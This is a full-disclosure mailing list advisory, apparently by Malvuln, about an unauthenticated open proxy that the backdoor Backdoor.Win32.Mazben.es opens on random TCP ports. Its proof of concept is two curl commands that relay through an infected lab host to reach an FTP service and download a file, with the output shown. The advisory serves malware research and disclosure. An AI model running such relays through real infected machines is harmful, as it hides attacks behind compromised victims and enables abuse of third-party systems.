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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.Mazben.es / Unauthenticated Open Proxy
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-10-28 1:15:30
Message-ID: CAAHK0WR23+a2B_V649tyvdqxwmFbg0JGuJ-4ggL3riZ-sB01qQ () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/fcd611ccbc756fab43761f4b18372b81.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Mazben.es
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on random TCP ports like 2608, 6751, 3087,
5947. Third-party attackers who can connect to the infected system can
relay requests from the original connection to the destination and then
back to the origination system. Attackers may then be able to launch
attacks, download files or port scan third party systems and it will appear
as the attacks originated from that infected host.
Type: PE32
MD5: fcd611ccbc756fab43761f4b18372b81
Vuln ID: MVID-2021-0377
Disclosure: 10/27/2021

Exploit/PoC:
curl  -x http://192.168.18.125:6751 http://192.168.18.128:21
220 INetSim FTP Service ready.

curl  -x http://192.168.18.125:6751 http://192.168.18.128/DOOM.exe --output
DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01
 307k


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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